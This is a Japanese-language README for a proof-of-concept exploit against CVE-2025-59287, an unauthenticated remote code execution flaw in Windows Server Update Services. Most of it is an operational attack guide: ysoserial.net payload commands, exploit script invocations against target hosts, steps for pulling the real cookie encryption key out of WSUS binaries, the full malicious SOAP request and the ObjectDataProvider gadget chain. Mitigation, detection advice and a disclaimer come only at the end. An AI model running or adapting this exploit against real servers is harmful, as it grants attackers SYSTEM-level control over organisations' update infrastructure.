
CVE-2025-59287の概念実証エクスプロイト。WSUSにおける安全でないBinaryFormatter逆シリアル化を介した重大な未認証RCEであり、細工された暗号化Cookieを通じてSYSTEM権限を獲得します。
CVE-2025-59287 は、Microsoft Windows Server Update Services (WSUS) における重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性は、EncryptionHelper.DecryptData() メソッド内の BinaryFormatter による AuthorizationCookie データの安全でない逆シリアル化が原因で発生します。
影響: 認証されていない攻撃者が、悪意のある暗号化クッキーを GetCookie() エンドポイントに送信することで、SYSTEM 権限でリモートコード実行を達成できます。
CVSS スコア: 重大 (9.8)
BinaryFormatter.Deserialize() が呼び出される┌─────────────────┐
│ 攻撃者 │
│ │
│ 1. BinaryFmt │
│ ペイロード │
│ を生成 │
│ │
│ 2. ペイロード │
│ を暗号化 │
│ │
│ 3. SOAP │
│ リクエスト │
│ を送信 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS サーバー │
│ │
│ GetCookie() │
│ エンドポイント │
│ │
│ DecryptData() │◄─── 脆弱性あり
│ │
│ BinaryFormatter│◄─── 安全でない逆シリアル化
│ Deserialize() │
│ │
│ ペイロードを │◄─── SYSTEM として RCE
│ 実行 │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # メインのエクスプロイトスクリプト
├── BinaryFormatterPayloadGenerator.cs # .NET ペイロードジェネレーター (C#)
├── encrypt_payload.py # WSUS 暗号化ヘルパー
├── requirements.txt # Python 依存関係
└── README.md # このファイル
pip install -r requirements.txt
ysoserial.net を使用オプション A: 提供された C# ジェネレーターを使用
# ジェネレーターをコンパイル
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# ペイロードを生成
BinaryFormatterPayloadGenerator.exe calc.exe
# 作成されるファイル: payload_YYYYMMDDHHMMSS.bin
オプション B: ysoserial.net を使用 (推奨)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
重要: encrypt_payload.py 内の暗号化キーはプレースホルダーです。実際の悪用には、以下を行う必要があります:
encrypt_payload.py を実際のキーで更新する# ペイロードファイルを使用 (その場で暗号化)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# 事前に暗号化されたクッキーを使用
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# HTTPS を使用 (ポート 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# 生成、暗号化、悪用を一度に実行
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
実際の悪用には、暗号化キーを WSUS バイナリから抽出する必要があります。
WSUS DLL の場所を特定:
%ProgramFiles%\Update Services\WebServices\bin\
または IIS Web ディレクトリ:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
dnSpy で開く (無料の .NET デコンパイラー):
Microsoft.UpdateServices.WebServices.dll を開くEncryptionHelper を検索:
Microsoft.UpdateServices.WebServices 名前空間に移動EncryptionHelper クラスを見つけるDecryptData() および EncryptData() メソッドを確認一般的なパターン:
WinDbg または x64dbg を使用:
EncryptionHelper.DecryptData() にブレークポイントを設定Process Monitor を使用:
IDA Pro または Ghidra を使用:
strings ユーティリティを使用:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
実際のキーを入手したら、encrypt_payload.py を更新します:
# encrypt_wsus_cookie() 内のこの行を置き換え:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # プレースホルダー
# 実際のキーに置き換え:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
またはコマンドラインで渡す:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter ペイロードを生成 │
│ ObjectDataProvider → Process.Start() → コマンド実行 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. ペイロードを暗号化 │
│ WSUS 暗号化キーを使用した AES-128-CBC │
│ 送信用に Base64 エンコード │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP リクエストを作成 │
│ AuthorizationCookie ヘッダーに暗号化ペイロードを含める │
│ SOAP ボディ内の GetCookie() メソッド │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS エンドポイントに送信 │
│ POST /ClientWebService/ClientWebService.asmx │
│ ポート 8530 (HTTP) または 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 処理 │
│ DecryptData() がクッキーを復号化 │
│ BinaryFormatter.Deserialize() がペイロードを実行 │
│ → SYSTEM として RCE │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
このエクスプロイトは ObjectDataProvider ガジェットチェーンを使用します:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
BinaryFormatter.Deserialize() がこれを処理すると、自動的に:
ObjectDataProvider を逆シリアル化ObjectInstance (Process) に対して MethodName ("Start") を呼び出しMethodParameters (ProcessStartInfo) を渡すMicrosoft セキュリティ更新プログラムを適用: 直ちにパッチを適用
一時的な回避策: WSUS が不要な場合はポートをブロック
# WSUS ポートへのインバウンドトラフィックをブロック
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
ネットワークセグメンテーション: WSUS エンドポイントへのアクセスを制限
BinaryFormatter の置き換え: Microsoft は安全なシリアル化に置き換えるべき
System.Text.Json または System.Xml.Serialization を使用入力検証: 包括的な検証を追加
最小権限の原則: WSUS サービスを最小限の権限で実行
WSUS ログを確認:
%ProgramFiles%\Update Services\LogFiles\
以下を探す:
以下を監視:
/ClientWebService/ClientWebService.asmx への SOAP リクエスト⚠️ 警告: このエクスプロイトコードは許可されたセキュリティテストのみを目的として提供されています。
✅ 合法的な使用:
❌ 違法な使用:
このエクスプロイトの不正使用は刑事訴追につながる可能性があります。責任を持って倫理的に使用してください。
注意: 常に隔離された管理された環境でテストしてください。所有していないシステムや明示的なテスト許可がないシステムに対しては決して使用しないでください。